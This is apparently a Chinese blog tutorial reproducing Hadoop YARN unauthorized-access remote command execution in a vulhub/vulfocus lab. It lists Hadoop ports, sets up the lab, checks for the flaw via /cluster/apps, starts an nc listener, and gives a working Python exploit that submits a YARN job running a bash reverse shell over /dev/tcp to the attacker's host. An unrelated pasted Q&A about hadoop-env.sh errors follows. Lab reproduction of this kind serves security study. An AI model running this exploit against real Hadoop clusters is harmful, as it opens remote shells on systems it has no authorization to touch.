Hadoop-未授权访问-内置配合命令执行RCE

一、Hadoop常见端口及配置文件

Hadoop中有多种端口,这些端口用于不同的服务和通信。以下是Hadoop中常见的端口以及它们的用途:

NameNode Web界面端口 (默认: 9870)

NameNode 对客户端服务端口 (默认: 8020)

Secondary NameNode Web界面端口 (默认: 9868)

Secondary NameNode 对DN的服务端口 (默认: 50020)

ResourceManager 管理界面端口 (默认: 8088)

DataNode 数据传输端口 (默认: 50010)

DataNode 服务端口 (默认: 50075)

NodeManager 管理界面端口 (默认: 8042)

这些端口可以在Hadoop的配置文件中找到,通常位于$HADOOP_HOME/etc/hadoop/目录下的
core-site.xml, hdfs-site.xml, yarn-site.xml, 和 mapred-site.xml文件中。

二、复现环境

方法一

https://vulfocus.cn/#/dashboard

方法二

用 vulhub 开启环境
切换到漏洞环境目录

cd /root/vulhub/hadoop/unauthorized-yarn

构建(重新构建)项目中的服务容器

docker-compose build

启动已定义在docker-compose.yml文件中的服务容器,并以守护进程的方式在后台运行(启动靶场)

docker-compose up -d

关闭靶场

docker-compose down

三、介绍漏洞

vulhub官方介绍

https://vulhub.org/#/environments/hadoop/unauthorized-yarn/

知道创宇

https://www.seebug.org/search/?keywords=hadoop&category=&level=all

四、演示

访问漏洞靶场

启动漏洞环境,访问漏洞地址

http://123.58.224.8:31227/

漏洞存在判断

访问

http://123.58.224.8:31227/cluster/apps 

如果能成功访问说明漏洞存在

开启监听

在监听服务器上开启nc监听

nc -nvlp 9999

exp脚本

反弹shell的exp

import requests

target = 'http://123.58.224.8:31227/'     # 目标地址
lhost = 'x.x.x.x'                         # 接收shell的攻击机ip

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

运行脚本

python exp.py

查看监听服务器

成功反弹shell

  • 7
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: 这个错误提示意味着系统无法找到hadoop-env.sh命令。可能是因为该命令不存在或者没有正确设置环境变量。您可以尝试检查hadoop安装目录下是否存在hadoop-env.sh文件,并且确保环境变量已经正确设置。如果问题仍然存在,您可以尝试重新安装hadoop或者寻求其他解决方案。 ### 回答2: “hadoop-env.sh找到命令”这个错误是在Hadoop安装和使用过程中出现的常见问题之一。通常情况下,这是由于Hadoop环境变量没有正确配置或被更改了导致的。针对这个问题,我们可以采取以下步骤来解决: 1. 查看hadoop-env.sh文件是否存在 首先需要确认hadoop-env.sh文件是否存在于Hadoop的安装目录中。如果文件不存在,则可以重新下载Hadoop并重新安装。 2. 检查hadoop-env.sh文件的路径是否正确 如果hadoop-env.sh文件存在,但仍然出现“找到命令”的错误提示,就需要检查Hadoop的环境变量是否配置正确。可以通过以下命令查看Hadoop的环境变量: $ echo $HADOOP_HOME 该命令将输出Hadoop安装目录的路径。如果该路径不正确,可以使用以下命令修改环境变量: $ export HADOOP_HOME=/path/to/hadoop 其中“/path/to/hadoop”是Hadoop所在的路径。 3. 执行hadoop-env.sh文件 在确认Hadoop的环境变量已经正确配置之后,可以尝试执行hadoop-env.sh文件,命令如下: $ source $HADOOP_HOME/etc/hadoop/hadoop-env.sh 如果执行成功,应该可以在命令行中看到一些Hadoop的配置信息。 4. 重新启动Hadoop服务 最后,如若步骤没有解决问题,可以尝试重新启动Hadoop服务。可以通过以下命令关闭和启动Hadoop: $ stop-all.sh $ start-all.sh 总之,如果出现“hadoop-env.sh找到命令”的错误,首先要检查Hadoop的环境变量是否正确配置,然后执行hadoop-env.sh文件。如果步骤没有解决问题,可以尝试重新启动Hadoop服务。 ### 回答3: Hadoop是一个非常流行的分布式计算平台,它可以很好地处理大规模数据的分布式存储和处理。Hadoop环境的配置对于使用Hadoop来说非常重要,它决定了Hadoop的运行状态。 而hadoop-env.sh找到命令的问题,一般是由于以下几个原因: 1. 没有正确配置Hadoop环境变量 hadoop-env.sh是Hadoop的环境变量脚本,它负责对Hadoop的环境变量进行配置。如果该脚本能找到命令,那么很可能是由于环境变量没有正确配置。 解决办法:可以在hadoop-env.sh中加入正确的环境变量配置,如JAVA_HOME、HADOOP_HOME等,以确保Hadoop的正常运行。 2. hadoop-env.sh文件不存在 如果hadoop-env.sh文件不存在,那么Hadoop将无法正确加载其环境变量。 解决办法:可以通过在Hadoop安装路径下使用命令查找hadoop-env.sh文件的路径,然后将其路径添加到环境变量中。如果找不到该文件,则需要重新安装Hadoop。 3. 系统权限问题 Hadoop需要正确的系统权限才能运行。如果当前用户没有足够的权限,那么将无法正常启动Hadoop。 解决办法:可以尝试以管理员身份运行Hadoop相关命令,以获得足够的权限。 总之,hadoop-env.sh找到命令的问题需要根据具体原因来解决。通过正确配置环境变量、找到并加载hadoop-env.sh文件,以及获得足够的系统权限,可以解决这个问题,并确保Hadoop的正常运行。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值